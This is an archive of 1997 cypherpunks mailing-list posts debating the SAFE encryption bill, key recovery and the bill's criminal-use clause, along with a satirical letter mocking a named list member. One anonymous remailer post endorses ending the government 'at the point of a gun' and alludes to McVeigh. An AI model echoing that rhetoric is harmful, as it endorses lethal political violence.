AMBIGUITY and the need for interpretation (AKA court intervention) when
some administration tries to overstep it's bounds.  I don't think that's
necessarily bad, since legislation has never existed that is ironclad 
anyway: it's always subject to some runaway Attorney General getting weird,
as we have seen plenty of times.

<usual caveats go here> 
---

but THEN noticed the paragraph is attached to the EAA, not SAFE.
Never mind.
SAFE looks more ominous ....








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Fri, 2 May 1997 21:07:31 +0800
To: cypherpunks@toad.com
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal (fwd)
Message-ID: <Pine.LNX.3.95.970502084319.13849A-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 1 May 1997 18:44:47 -0400 (EDT)
From: Charles Platt <cp@panix.com>
To: fight-censorship@vorlon.mit.edu
Cc: Charles Platt <cp@panix.com>
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal

> From: Jonah Seiger <jseiger@cdt.org>
> However, despite our concerns about the criminal provisions, we believe
> strongly that the SAFE bill, and the bills in the Senate sponsored by Burns
> and Leahy, are vitally important and should be passed.

This kind of "pragmatism" is precisely why I have no faith whatsoever in
CDT. There's a slippery slope, here, that really IS a slippery slope. As
soon as you agree with the principle that the legislators can and SHOULD
pass laws in a certain area, you risk losing large chunks of freedom. 
Conversely, so long as the area remains sacrosanct, free of legislation
(e.g. the content of private mail), the situation remains clear and clean.
Once you have one law, naturally some special-interest group will
complain, some lobbyists will have their own ideas, some other legislators
will see an opportunity to extend/clarify/amend/expand the legislation,
and before you know it, you've got the war on drugs or something similar, 
costing billions, depriving relatively innocent people of their liberty, 
and achieving nothing.

I absolutely agree with Tim May. There is no excuse for introducing 
legislation to control something fundamentally harmless that is not 
currently controlled. More legislation is absolutely the LAST thing this 
country needs.

> Congress needs to stand up to the Administration and say, with a strong
> voice, "your policy is a failure - we need a different solution".  That's
> what SAFE, Pro-CODE, and ECPA II do.

For some reason I have difficulty trusting Congress to protect my rights 
in this matter, or in any other matter. Those who seek help from 
government should recall Barry Goldwater's famous quote, which went 
something like this: "When you have a government big enough to give you 
everything you want, it's big enough to take it all away."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Fri, 2 May 1997 21:05:29 +0800
To: cypherpunks@toad.com
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal (fwd)
Message-ID: <Pine.LNX.3.95.970502084453.13849B-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 1 May 1997 19:43:07 -0400
From: Jonah Seiger <jseiger@cdt.org>
To: Charles Platt <cp@panix.com>, fight-censorship@vorlon.mit.edu
Cc: Charles Platt <cp@panix.com>
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal

At 6:44 PM -0400 5/1/97, Charles Platt wrote:

>From: Jonah Seiger <jseiger@cdt.org>
>> Congress needs to stand up to the Administration and say, with a strong
>> voice, "your policy is a failure - we need a different solution".  That's
>> what SAFE, Pro-CODE, and ECPA II do.
>
>For some reason I have difficulty trusting Congress to protect my rights
>in this matter, or in any other matter. Those who seek help from
>government should recall Barry Goldwater's famous quote, which went
>something like this: "When you have a government big enough to give you
>everything you want, it's big enough to take it all away."

This is exactly the point.

The Administration continues to push for a government-designed global
key-recovery encryption policy that would, in the words of Grover Norquist
(head of the conservative Americans for Tax Reform and supporter of SAFE),
"force all Americans to go to bed at night with their doors unlocked and
their car keys in the ignition".

It's been 4 years of it - in various forms, the most recent being the first
serious proposal in history to impose DOMESTIC RESTRICTIONS on the ability
of American Citizens to protect their privacy on American soil.

The FBI, NSA, DOJ and the Clinton Administration want guaranteed law
enforcement access to private encryption keys.  That's what we are fighting
against.

All of us have been screaming (rightly) about Clipper and it's various
mutant offspring from the beginning. Congress has at last gotten the
message and is aggressively taking the lead -- 3 bills designed to relax
government regulation of encryption technologies and prohibit the
government from imposing key escrow or key recovery inside the US.

I too share your skepticism about trusting Congress to solve all our
problems.  They didn't give us much reason to when they passed the CDA. And
even in the best of circumstances, legislation is rarely "perfect". But in
this case I honestly believe the sponsors of SAFE (78) and Pro-CODE (21)
have got it basically right.

The administration clearly has it totally wrong.

We have a long way to go yet before this debate is over, and I suspect the
Administration has a few more tricks left up its sleve. We owe it to our
allies in Congress, and to the issues we say we believe in as participants
on this list, to give this our best effort.

Call that 'pragmatism' if you want.  We have never considered that to be a
derogatory term.

Jonah

--
Jonah Seiger, Communications Director                  (v) +1.202.637.9800
Center for Democracy and Technology                 pager: +1.202.859.2151
<jseiger@cdt.org>

http://www.cdt.org                                      PGP Key via finger
http://www.cdt.org/jseiger/

  * Value Your Privacy? The Governmet Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crytpo.com/adopt






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Fri, 2 May 1997 21:10:52 +0800
To: "Shabbir J. Safdar" <shabbir@vtw.org>
Subject: Re: SAFE Bill discussion
In-Reply-To: <v0300782faf8eae00618f@[166.84.253.73]>
Message-ID: <Pine.LNX.3.95.970502084644.13849C-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Two quick points:

* I think the discussion centered around CDT since they put out a policy
post a few hours after the SAFE markup earlier this week, and that policy
post was well-circulated online.

* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a
letter to the House subcommittee on April 29 urging that SAFE be approved
without any changes? (I'm in Oklahoma right now and I have a copy of that
letter in my office in DC, but that's what I remember.) 

-Declan


On Thu, 1 May 1997, Shabbir J. Safdar wrote:

> The Administration hates this bill, because it threatens their ability to
> roll out Key Recovery.  They've said as much in the letter Declan forwarded:
> 
>    "The bill could be read as prohibiting the United States government
>     from using appropriate incentives to support a key management
>     infrastructure and KEY RECOVERY." [emphasis added]
> 
> Do you think that if this bill helped the Administration, that they'd be
> out there urging the subcommittee chairman to stop it?  I think not.
> 
> I'm also puzzled by the fact that CDT is being criticized pretty much
> solely, even though the entire Internet Privacy Coalition, and several
> other groups all wrote a letter of support of the bill with only a
> criticism of one provision.  However the overall statement was of support.
> (see http://www.privacy.org/ipc/safe_letter.html)
> 
> As far as I can tell, everyone criticizing the bill either thinks that:
> 
> 	a) CDT actually runs all these groups behind the scenes, or
> 	b) pretty much all of the Internet advocates believe that this bill
>            is needed and are doing the best they can with what Congress has
>            written.
> 
> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax
> Reform, the Association for Computing Machinery, Computer Professionals for
> Social Responsiblity, Eagle Forum, the National Association for Criminal
> Defense Lawyers, and PGP Inc all signed this letter.
> 
> Can you consider, perhaps, for a second, that critics of SAFE are being
> unreasonable?  I would think so, as critics of SAFE include the Clinton
> Administration.  Is that the kind of company that cypherpunks keep?
> 
> Here's a great excerpt from the Internet Privacy Coalition letter:
> 
>   The pending bill provides a positive framework for the reforms that are
>   long overdue in this critical area. It makes clear that the sale or use
> of
>   encryption, a vital technique to promote network security and individual
>   privacy, should not be restricted in the United States. This is the view
>   widely shared by users of the Internet and the computer and communications
>   industry. It was also a central recommendation of the
>   report of the National Research Council last year.
> 
> Looks like widespread support from people who study this issue for living.
> I'm glad to be counted among them.
> 
> -S
> 
> -Shabbir
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 3 May 1997 00:07:29 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Rejecting Dialog with Government Vermin
In-Reply-To: <199705020738.AAA02377@mail.pacifier.com>
Message-ID: <19970502085056.16118@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 02, 1997 at 12:34:19AM -0800, Jim Bell wrote:
> At 22:43 5/01/97 -0700, Kent Crispin wrote:
>>On Wed, Apr 30, 1997 at 08:24:27PM -0800, Jim Bell wrote:
>>> I feel confident that a statistical analysis of various countries'
>>> governments would reveal a wide scatter in the relationship between
>>> population and government size.  One of the main factors in this scatter is
>>> simply the amount that government has decided to butt into activities that
>>> could (and should) be privatized.   Another is the amount that the
>>> government steals from one group in order to reliably receive the votes of
>>> some other group.
>>
>>> Population size would end up being a very poor determinant of government 
>>> size.  
>>
>>Yes, there would be scatter, but it is not important. 
> 
> The only reason "it is not important" is that this scatter is what
> demolishes your view of the world.

Jim, I made a two line off-the-cuff generalization about a case that 
*could* be argued -- a tiny, infinitesimal mote in my world view.  So 
don't go overboard with the hyperbole, OK?

Remember that since my world view includes numbers, Godel's theorem
requires that it is incomplete or inconsistent, as is yours. 
Regardless of how our world views may change, they will continue to
include numbers, and so will remain inconsistent or incomplete.  And
incompleteness and inconsistency are global properties of a system... 

> > Population size
> >is *obviously* a strong determinant of government size.
> 
> But probably not even close to the largest determinant.

It simply doesn't matter.  The important point is that governments
*are* much larger in much larger countries.  We are speaking in gross,
general terms here -- we haven't controlled for type of government,
whether the military is included -- a whole host of factors are left
as free variables, and yes, even modulo those variables, there is lots
of scatter.  But in 1800 there were about 5 million people in the US. 
Now there are close to 300 million. 

The basic point, really, is that organizational complexity grows 
with the size of the organization, at a greater than linear rate.  
This is because organizational complexity is a function of 
interactions between members of the organization, which is at least 
n-squared.  (However, when you consider that alliances form and can 
interact, the true complexity grows at a much faster rate.) 

(Another confounding factor is growth in complexity of technology and 
human knowledge.)


[...]
> 
> But NONE of this is truly needed.  I have a solution to that problem.

Jim, have you considered the interaction between religious beliefs and
AP? You apparently don't have direct knowledge of this, but after a
certain level of economic security has been reached economics becomes
a much less important as a motivator [Maslow].

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 3 May 1997 00:15:07 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: TWO Letters on SAFE
In-Reply-To: <v0300780aaf8fc2572aac@[204.91.138.22]>
Message-ID: <Pine.GSO.3.95.970502084700.12526B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks, Marc, for posting the URL for CDT's letter urging the House
subcommittee to approve SAFE without amendment. I was quoting from memory.

No, Shabbir, I don't think I owe anyone a "big fucking apology."

-Declan


On Fri, 2 May 1997, Marc Rotenberg wrote:

> 
> 
> Shabbir is a very good organizer and often very busy, which
> may explain the confusion about the TWO letters that were
> sent out regarding SAFE.
> 
> CDT sent a letter to Hon. Howard Conable, the chair of the
> Subcommittee, on April 24 which said that "CDT strongly urges
> you to report H.R. 695, the SAFE Act, out of the Courts
> and Intellectual Property Subcommittee without amendment."
> [The CDT letter is at
> http://www.cdt.org/crypto/legis_105/SAFE/970424_CDT_ltr.html]
> 
> EPIC helped coordinate a different letter for the Internet
> Privacy Coalition, which went to Rep. Goodlatte on April
> 28 and said
> 
>      While expressing our support for the measure, we wish
>      also to state our concern about one provision contained
>      in the bill. We believe that this provision, which would
>      create new criminal penalties for the use of encryption in
>      furtherance of a crime, could undermine the otherwise laudable
>      goals of the legislation. For the reasons set forth below, we
>      recommend that this provision be reconsidered when the Committee
>      considers the bill.
> 
> The IPC letter was signed by 26 privacy groups, user organizations,
> private companies, and trade associations. [The IPC letter is
> at http://www.privacy.org/ipc/safe_letter.html ]
> 
> 
> Marc Rotenberg
> EPIC.
> 
> 
> 
> 
> At 8:55 AM -0500 5/2/97, Shabbir J. Safdar wrote:
> >At 8:49 AM -0400 5/2/97, Declan McCullagh wrote:
> >>Two quick points:
> >>
> >>* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a
> >>letter to the House subcommittee on April 29 urging that SAFE be approved
> >>without any changes? (I'm in Oklahoma right now and I have a copy of that
> >>letter in my office in DC, but that's what I remember.)
> >
> >Declan, I can't believe you did your research so poorly.  Go look at the
> >Internet Privacy Coalition letter at
> >http://www.privacy.org/ipc/safe_letter.html or go to the crypto.com SAFE
> >bill page at http://www.crypto.com/safe_bill/ and read the pointer from
> >there.
> >
> >You'll see that CDT signed the very same letter that EPIC, ACLU, EFF, ATR,
> >Eagle Forum, VTW, and PGP all signed.
> >
> >Since you've been laboring under this mistaken impression, you owe somebody
> >at CDT a big fucking apology.
> >
> >-S
> >
> >>
> >>
> >>On Thu, 1 May 1997, Shabbir J. Safdar wrote:
> >>
> >>> The Administration hates this bill, because it threatens their ability to
> >>> roll out Key Recovery.  They've said as much in the letter Declan
> >>>forwarded:
> >>>
> >>>    "The bill could be read as prohibiting the United States government
> >>>     from using appropriate incentives to support a key management
> >>>     infrastructure and KEY RECOVERY." [emphasis added]
> >>>
> >>> Do you think that if this bill helped the Administration, that they'd be
> >>> out there urging the subcommittee chairman to stop it?  I think not.
> >>>
> >>> I'm also puzzled by the fact that CDT is being criticized pretty much
> >>> solely, even though the entire Internet Privacy Coalition, and several
> >>> other groups all wrote a letter of support of the bill with only a
> >>> criticism of one provision.  However the overall statement was of support.
> >>> (see http://www.privacy.org/ipc/safe_letter.html)
> >>>
> >>> As far as I can tell, everyone criticizing the bill either thinks that:
> >>>
> >>> 	a) CDT actually runs all these groups behind the scenes, or
> >>> 	b) pretty much all of the Internet advocates believe that this bill
> >>>            is needed and are doing the best they can with what Congress has
> >>>            written.
> >>>
> >>> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax
> >>> Reform, the Association for Computing Machinery, Computer Professionals for
> >>> Social Responsiblity, Eagle Forum, the National Association for Criminal
> >>> Defense Lawyers, and PGP Inc all signed this letter.
> >>>
> >>> Can you consider, perhaps, for a second, that critics of SAFE are being
> >>> unreasonable?  I would think so, as critics of SAFE include the Clinton
> >>> Administration.  Is that the kind of company that cypherpunks keep?
> >>>
> >>> Here's a great excerpt from the Internet Privacy Coalition letter:
> >>>
> >>>   The pending bill provides a positive framework for the reforms that are
> >>>   long overdue in this critical area. It makes clear that the sale or use
> >>> of
> >>>   encryption, a vital technique to promote network security and individual
> >>>   privacy, should not be restricted in the United States. This is the view
> >>>   widely shared by users of the Internet and the computer and
> >>>communications
> >>>   industry. It was also a central recommendation of the
> >>>   report of the National Research Council last year.
> >>>
> >>> Looks like widespread support from people who study this issue for living.
> >>> I'm glad to be counted among them.
> >>>
> >>> -S
> >>>
> >>> -Shabbir
> >>>
> >>>
> 
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 2 May 1997 18:17:29 +0800
To: abd@cdt.org
Subject: Re: SAFE Bill discussion
In-Reply-To: <v0300782faf8eae00618f@[166.84.253.73]>
Message-ID: <199705020752.IAA00794@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Shabbir Safdar <shabbir@vtw.org> writes:
> The Administration hates this bill, because it threatens their ability to
> roll out Key Recovery.  They've said as much in the letter Declan forwarded:
> 
> Do you think that if this bill helped the Administration, that they'd be
> out there urging the subcommittee chairman to stop it?  I think not.
> [...]
> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax
> Reform, the Association for Computing Machinery, Computer Professionals for
> Social Responsiblity, Eagle Forum, the National Association for Criminal
> Defense Lawyers, and PGP Inc all signed this letter.
> 
> Can you consider, perhaps, for a second, that critics of SAFE are being
> unreasonable?  I would think so, as critics of SAFE include the Clinton
> Administration.  Is that the kind of company that cypherpunks keep?

Those arguing in favour the SAFE bill claim it will make encryption
freely exportable.  They also claim that as a result of this we will
see encryption in mass market software.  Both are clearly attractive.

The SAFE bill also makes it a crime to use crypto in furtherance of a
crime (sentence += 5 years?).

The two in combination are problematic:

If microsoft products mostly include crypto which is turned on by
default, then everyone is using crypto.  So if one is unlucky enough
to be singled out for government harrassment for whatever "crime",
it's just a blanket law which allows the sentence to be increased by 5
years for nearly everyone in a few years.

In 10 to 20 years time your car, your mobile phone, your television,
your telephone, your brief-case, probably your toaster will have
crypto in it (your mobile phone and sat decoder already do).

Adding criminalization of use in furtherance of a crime is STUPID.
Mobile phones are a good example, they include crypto (at least GSM
does, even if it is naff, and only the link to the base station).  Say
the government designates you as a "criminal", and you use a mobile
phone, surely this is using crypto to further a crime?  It will make
it more difficult for the Feds to tap your line, right?  Especially if
you are using stolen phone ID cards.  Mobile phones are getting
cheaper, and more widespread.

It's similar to imposing restrictions on other technologies in their
early stages, say:

  "use of automobiles in furtherance of a crime will add 5 years to your
   sentence."

  "use of the new telephone service will add 5 years to your sentence"

I hope that the coalition of lobbying groups are not supporting SAFE
if this criminalization clause is there.

If you're going to support it at all, support it on the CONDITION that
this is removed.

However, messing with politicians is a dangerous hobby, read the fine
print real carefully, or you may very well actually be unwittingly
helping the enemy.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 3 May 1997 00:23:37 +0800
To: cypherpunks@toad.com
Subject: A Letter from the Smithsonian
Message-ID: <199705021552.IAA02491@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Dr. Dimitri Vulis, 
 
Thank you for your latest submission to the Institute, labeled "211-D,
layer seven, next to the clothesline post. Hominid skull." We have  given
this specimen a careful and detailed examination, and regret to inform you
that we disagree with your theory that it represents "conclusive proof of
the presence of Early Man in Queens County two million years ago."
Rather, it appears that what you have found is the head of a Barbie doll,
of the variety one of our staff, who has small children, believes to be the
"Malibu Barbie". It is evident that you have given a great deal of thought
to the analysis of this specimen, and you may be quite certain that those
of us who are familiar with your prior work in the field were loathe to
come to contradiction with your findings. 
 
However, we do feel that there are a number of physical attributes of the
specimen which might have tipped you off to its modern origin: 
 
1. The material is molded plastic. Ancient hominid remains are  typically
     fossilized bone. 
 
2. The cranial capacity of the specimen is approximately 9 cubic
    centimeters, well below the threshold of even the earliest identified
    proto-hominids. 
 
3. The dentition pattern evident on the "skull" is more consistent with the
    common domesticated canine (dog) than it is with the "ravenous
    man-eating Pliocene clams" you speculate roamed the wetlands during
    that time. This latter finding is certainly one of the most intriguing
    hypotheses you have submitted in your history with this institution, but 
    the evidence seems to weigh rather heavily against it. 
 
Without going into too much detail, let us say that: 
 
A. The specimen looks like the head of a Barbie doll that a dog has
    chewed on. 
 
B. Clams don't have teeth. 
 
It is with feelings tinged with melancholy that we must deny your request 
to have the specimen carbon dated. This is partially due to the heavy load
our lab must bear in its normal operation, and partly due to carbon
dating's notorious inaccuracy in fossils of recent geologic record. To the
best of our knowledge, no Barbie dolls were produced prior to 1956
AD, and carbon dating is likely to produce wildly inaccurate results 
 
Sadly, we must also deny your request that we approach the National
Science Foundation's Phylogeny Department with the concept of assigning 
your specimen the scientific name "Australopithecus 
spiff-arino."

Speaking personally, I, for one, fought tenaciously for the acceptance of
your proposed taxonomy, but was ultimately voted down because the
species name you selected was hyphenated, and didn't really sound like it
might be Latin. 

However, we gladly accept your generous donation of this fascinating 
specimen to the museum. While it is undoubtedly not a hominid 
fossil,  it is, nonetheless, yet another riveting example of the great body 
of work you seem to accumulate here so effortlessly. You should know 
that our Director has reserved a special shelf in his own office for the 
display of the specimens you have previously submitted to the 
Institution, and the entire staff speculates daily on what you will happen 
upon next in your digs at the site you have discovered in your back yard. 
 
Dr. Vulis, we eagerly anticipate your trip to our nation's capital that you 
proposed in your last letter, and several of us are pressing the Director 
to pay for it.
 
We are particularly interested in hearing you expand on your theories
surrounding the "trans-positating fillifitation of ferrous ions in a                                                 
structural matrix" that makes the excellent juvenile Tyrannosaurus rex 
femur you recently discovered take on the deceptive appearance of a rusty 
9-mm Sears Craftsman automotive crescent wrench. 
 


Yours in Science, 
 
Harvey Rowe
Curator, Antiquities 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Fri, 2 May 1997 22:20:42 +0800
To: "Shabbir J. Safdar" <shabbir@vtw.org>
Subject: Re: SAFE Bill discussion
In-Reply-To: <v03007838af8f63b734a5@[166.84.253.73]>
Message-ID: <Pine.SOL.3.96.970502085921.19774F-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 2 May 1997, Shabbir J. Safdar wrote:
> 
> By attacking the supporters of the bill, you're attacking CDT, the ACLU,
> EPIC, VTW, EFF, Eagle Forum, Americans for Tax Reform, and PGP Inc.  You're
> saying that all the Internet advocates have turned against crypto?

Criticizing the bill is not the same thing as "attacking" its
supporters. Criticizing the arguments of those supporters in
favor of the bill, and questioning seeming inconsistencies
therein, is not the same thing as "attacking" those supporters.

Nor does such criticism imply an accusation that all, or
even some, of those supporters "have turned against crypto."

The illogical equlvalence you set up, however, does seem to
be characteristic of these supporters' arguments.:)
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Sat, 3 May 1997 12:42:12 +0800
To: cypherpunks@toad.com
Subject: Re: FCPUNX:Layoffs at PGP
Message-ID: <199705030418.VAA02520@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain


>  [arrow] PGP Pretty Good on Privacy of Layoff Details
>          by Kristi Coale
>
>          [...]
>
>
>          "Internet Fast-Forward is not as closely related to the tools we
>          develop for individuals for privacy," he said. And the fact that
>          Fast-Forward filters ads which are an "inimical part of some of
>          the emerging Web commerce models ... we don't want to hinder this
>          development."


I think this tells us everything we need to know about the management of PGP
inc.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 3 May 1997 00:35:10 +0800
To: "Shabbir J. Safdar" <gbroiles@netbox.com>
Subject: Re: SAFE Bill discussion
In-Reply-To: <3.0.1.32.19970502011449.027f8298@pop.sirius.com>
Message-ID: <v03007800af8fd297ea39@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:47 AM -0800 5/2/97, Shabbir J. Safdar wrote:
>Ah, so here is the source of all the conspiracy theories:
>
>At 1:14 AM -0700 5/2/97, Greg Broiles wrote:
>>At 09:12 PM 5/1/97 -0400, Shabbir J. Safdar wrote:
>>
>>>I'm also puzzled by the fact that CDT is being criticized pretty much
>>>solely, even though the entire Internet Privacy Coalition, and several
>>>other groups all wrote a letter of support of the bill with only a
>>>criticism of one provision.
>>
>>I think this is occurring for two reasons:
>>2.	It strikes me as unlikely that all of the groups mentioned really sat
>>down and hashed all of this out - my hunch is that one or two of the groups
>>wrote up an analysis and a proposed letter, and asked the other groups to
>>sign on. A likely suspect for the/a group who did the behind-the-scenes
>>work is CDT.

Well, no. As the person who apparently triggered this latest round of
SAFE-cracking, I'll comment on why I focussed on CDT:

* it was CDT who was issuing most of the alerts, the letters, and the
cheerleadings. (If EFF had any such messages, I didn't see them, nor did I
see such alerts from the other organizations you mentioned as being
supporters of SAFE.)

* the CDT press release was a convenient message to respond to.

* the CDT Web site is where I've been finding the text of these bills
(thanks, of course, and I mean that).

I don't worry about nonense about whether CDT pulls the strings, though in
one of my later messages I _did_ say I think CDT will carry the baggage of
SAFE the way EFF carried the baggage of Digital Telephony. People don't
forget who's out in front.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 2 May 1997 22:00:03 +0800
To: cypherpunks@toad.com
Subject: Re: counterTCM post
Message-ID: <199705021329.JAA23390@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Vladimir Z. Nuri, who is wasting our tax dollars,
if he is paid government stooge, and wasting his
own time, if he is not, wrote:

> I generally agree that our democratic system has degenerated over
> the decades, to the point of being scary and dangerous in places.

  And, in spite of this, you're going to suggest more of the 
"same old, same old" right?
 
> however, we can ask, why did it get to that point? I believe
> it is a failure of the citizens to maintain the
> authority over their congressmen and president.

  And every fairy tale has to include the words,
 
> once upon a time, citizens saw congress and the president as their
> servants. it led to a particular kind of ideology reflected in the
> policies of the country.
> 
> over time, people gradually gave away this authority. they saw the
> president and congress as having authority over citizens, instead of
> vice versa.

  A lot of people give away their televisions to burglars, and their
wallets to armed robbers.
  The person with the largest weapon has the most authority.
 
> TCM's idea of telling congress and the president to f*** off is actually,
> in my opinion, an extreme case of people giving away their authority.
> it is more of the same problem, not the solution. it is failing to
> address the root of the problem-- that the president and congress
> must be put in a subservient relationship to the desires of the citizens.

  So you're about to suggest following Tim McVeigh's example, only
at the White House, instead, right?

> one must uncreate the monster in the same ways it was created.

  Right. It began life at the point of a gun, and that's the way it
should end when the monster begans feeding on those who created it.
 
> I commend CDT and all other online groups for their organizational
> motives and drive, and condemn TCM for his pissing on them. what is he doing?

  Sounds like a good, old-fashioned cypherpunks pissing contest
to me. Better lay in extra beer.

> if something is broken, do you fix it, or abandon it? or shoot it? TCM is
> always advocating the latter two. it's not a solution, and he knows it,
> and everyone else here knows it too.

  This is wonderful! At last the cypherpunks have a leader who can 
speak for all of us.
  When does the New List Moderation begin? I'm going to have to lay
in a whole shitload of beer for this round.

PissMonger & his corporate schill pooch, Spudz





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 3 May 1997 00:46:12 +0800
To: "Shabbir J. Safdar" <shabbir@vtw.org>
Subject: Re: SAFE Bill discussion
Message-ID: <3.0.32.19970502093536.0074f364@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:47 AM 5/2/97 -0400, Shabbir J. Safdar wrote:
>By attacking the supporters of the bill, you're attacking CDT, the ACLU,
>EPIC, VTW, EFF, Eagle Forum, Americans for Tax Reform, and PGP Inc.  You're
>saying that all the Internet advocates have turned against crypto?
>
>I don't think so.  I think you're sense of perspective is out of whack.

I think the members of the privacy coalition suffer from the EFF syndrome.
The same syndrome that got us Digital Telephony, because the EFF got
suckered into believing that it "was the best deal we could get". Yeah,
right. The government managed to sucker the EFF then. Now, they are
suckering the members of the "privacy" coalition into supporting a law that
will gain us *nothing* we don't already have while potentially putting
citizens away for five years for the most minor offenses.

SAFE must be either completely rewritten (unlikely) or defeated.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Fri, 2 May 1997 22:04:11 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: SAFE Bill discussion
In-Reply-To: <v0300782faf8eae00618f@[166.84.253.73]>
Message-ID: <v03007838af8f63b734a5@[166.84.253.73]>
MIME-Version: 1.0
Content-Type: text/plain


Ah, so here is the source of all the conspiracy theories:

At 1:14 AM -0700 5/2/97, Greg Broiles wrote:
>At 09:12 PM 5/1/97 -0400, Shabbir J. Safdar wrote:
>
>>I'm also puzzled by the fact that CDT is being criticized pretty much
>>solely, even though the entire Internet Privacy Coalition, and several
>>other groups all wrote a letter of support of the bill with only a
>>criticism of one provision.
>
>I think this is occurring for two reasons:
>2.	It strikes me as unlikely that all of the groups mentioned really sat
>down and hashed all of this out - my hunch is that one or two of the groups
>wrote up an analysis and a proposed letter, and asked the other groups to
>sign on. A likely suspect for the/a group who did the behind-the-scenes
>work is CDT.

The Internet Privacy Coalition letter, which said, (paraphrased) "we support
this bill but have concerns over the criminal provision" was coordinated by
EPIC, not CDT.  Hey, if you don't believe me, here's an excerpt from Audrie
Krause's NetAction notes (see http://www.netaction.org/)

  Earlier this week, EPIC staffers again sent out an E-mail alert, this time
  to members of the Internet Privacy Coalition requesting their signature on a
  letter to Rep. Robert Goodlatte (R-VA) [..]

  Again within a matter of days, EPIC was able to deliver a letter signed by
  25 organizations, including NetAction.  The letter is on the Web, at:
  <http://www.privacy.org/ipc/safe_letter.html>.

If you don't believe EPIC coordinated this letter, give Marc Rotenberg a
call at 202-544-9240. He's the one who called VTW to sign on, and when I
called him back to say thank you for distributing the letter, I asked him
to signon VTW.  Of course, the ACLU also signed the letter, saying they
support the bill but have concerns over the criminal provision.  You can
call them here in New York at 212-982-9800 (I think).  Barry signed the
letter, ask him.

By attacking the supporters of the bill, you're attacking CDT, the ACLU,
EPIC, VTW, EFF, Eagle Forum, Americans for Tax Reform, and PGP Inc.  You're
saying that all the Internet advocates have turned against crypto?

I don't think so.  I think you're sense of perspective is out of whack.

-S






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Fri, 2 May 1997 22:06:04 +0800
